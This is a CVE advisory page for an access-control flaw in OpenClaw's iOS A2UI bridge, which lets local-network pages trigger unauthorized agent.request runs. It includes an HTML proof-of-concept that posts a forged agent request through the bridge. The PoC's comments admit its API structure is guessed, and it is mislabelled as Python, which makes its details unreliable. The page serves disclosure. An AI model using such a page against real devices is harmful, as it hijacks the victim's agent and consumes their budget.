CVE-2026-41398

Description

OpenClaw before 2026.4.2 contains an improper access control vulnerability in the iOS A2UI bridge that treats generic local-network pages as trusted origins. Attackers can inject unauthorized agent.request runs by loading attacker-controlled pages from local-network or tailnet hosts, polluting session state and consuming budget.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE

OpenClaw < 2026.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-41398
  Description: Host this HTML on a local network (LAN/Tailnet) server.
  When accessed by a victim device running vulnerable OpenClaw, it attempts
  to inject unauthorized agent.request calls via the trusted A2UI bridge.
-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>OpenClaw A2UI Bridge Exploit</title>
</head>
<body>
    <h1>CVE-2026-41398 PoC</h1>
    <p>Attempting to inject unauthorized agent.request...</p>
    <script>
        // The exploit relies on the A2UI bridge treating this LAN page as trusted
        document.addEventListener('DOMContentLoaded', () => {
            try {
                // Hypothetical API call structure based on vulnerability description
                // Real implementation depends on OpenClaw's internal A2UI API
                if (window.webkit && window.webkit.messageHandlers && window.webkit.messageHandlers.openclaw_a2ui) {
                    const payload = {
                        action: 'agent.request',
                        params: {
                            command: 'run',
                            data: 'unauthorized_payload'
                        }
                    };
                    // Injecting the request
                    window.webkit.messageHandlers.openclaw_a2ui.postMessage(payload);
                    console.log('[+] Payload sent via A2UI bridge');
                } else {
                    console.log('[-] A2UI bridge handler not found');
                }
            } catch (e) {
                console.error('[-] Exploit failed:', e);
            }
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41398
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41398
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41398/
[4] VulDB https://vuldb.com/cve/CVE-2026-41398
[5] https://github.com/openclaw/openclaw/commit/49d08382a90f71dabe2877b3f6729ad85f808d57
[6] https://github.com/openclaw/openclaw/security/advisories/GHSA-4p4f-fc8q-84m3
[7] https://www.vulncheck.com/advisories/openclaw-unauthorized-agent-request-dispatch-via-untrusted-local-network-pages-in-ios-a2ui-bridge

Raw JSON Data

JSON

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